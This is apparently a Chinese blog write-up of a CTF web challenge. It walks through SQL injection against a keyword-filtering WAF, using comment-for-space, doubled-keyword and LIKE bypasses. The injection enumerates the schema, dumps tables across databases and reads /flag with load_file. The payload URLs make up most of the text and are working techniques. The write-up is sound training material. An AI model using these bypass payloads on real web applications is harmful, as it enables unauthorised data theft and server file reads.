BeginCTF web (sql教学局)

通过/**/来绕过了空格

通过双写绕过了select,or等等

通过like来绕过=

load_file来读取文件


获取第一段flag

  • 首先经过判断waf过滤了空格,or

使用order by 来判断字段

?user=1%27oorrder/**/by/**/1%23

发现回显是1

通过下面的提示发现第一段flag在secret数据库password表里面

首先要进行判断字段

    • 进行构造,发现=被过滤,那就使用like来绕过
    • 如何在构造的时候发现好多过滤,都使用了双写来绕过
    • group_concat的用法是将多个数据一起输出,就剩了用limit一个个看
?user=1%27union/**/selselectect/**/group_concat(column_name)/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'passwoorrd'%23

知道了要获取的数据的列名是flag,表名是password

获取flag数据

正常构造的话发现会报错,我也研究了很久,最后是教练提醒才知道

password表并不在ctf这个数据库中,所以我们要在password前面加上数据库secret

最后的构造

?user=1%27union/**/selselectect/**/flag/**/frfromom/**/secret.passwoorrd%23	

成功获取第一段flag

获取第二段flag

通过提示我们知道第二段flag在当前数据库的score表的学生begin的成绩(grader)里面

我们首先要知道表的列名

?user=1%27union/**/selselectect/**/group_concat(column_name)/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'scoorre'%23、
//记得这里的score表中也有or记得双写绕过
  

接下来查询第二段flag

user=1%27union/**/selselectect/**/grade/**/frfromom/**/scoorre/**/where/**/student/**/like/**/'begin'%23

获取第三段flag

通过提示知道flag在/flag下,这当时也困扰了许久,一开始去尝试用shell写入,发现<>被过滤,听了一个学长给的建议是有目录先尝试读取,没办法了在去尝试shell,使用函数load_file

我们这里可以用union select,还有其他的子句可以用,可以自己去看看,开始构造

发现load也被过滤,老办法双写绕过

?user=1%27union/**/selselectect/**/loloadad_file('/flag')%23 

最后成功拿到flag,不得不感叹,自己还是太菜了,还有就是,学习的路上不知你一个人,加油吧,少年!!!!!

  • 10
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值